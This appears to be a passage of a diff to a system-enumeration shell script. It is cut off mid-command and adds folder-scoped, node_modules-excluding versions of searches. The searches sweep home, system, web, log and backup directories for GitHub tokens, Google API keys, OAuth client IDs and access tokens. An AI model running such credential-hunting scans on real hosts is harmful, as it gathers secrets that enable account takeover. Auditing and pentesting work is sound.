$HOMESEARCH -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~github(.{0,20})?['\"][0-9a-zA-Z]{35,40}~${SED_RED}~" & +print_3title_no_nl "Searching Github (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~AIza[0-9A-Za-z_\-]{35}~${SED_RED}~" & +print_3title_no_nl "Searching Google API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "AIza[0-9A-Za-z_\-]{35}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google Cloud Platform API Key (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]~${SED_RED}~" & +print_3title_no_nl "Searching Google Cloud Platform API Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google Drive Oauth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com~${SED_RED}~" & +print_3title_no_nl "Searching Google Drive Oauth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Google Oauth Access Token (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~ya29\.[0-9A-Za-z_\-]+~${SED_RED}~" & +print_3title_no_nl "Searching Google Oauth Access Token (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq 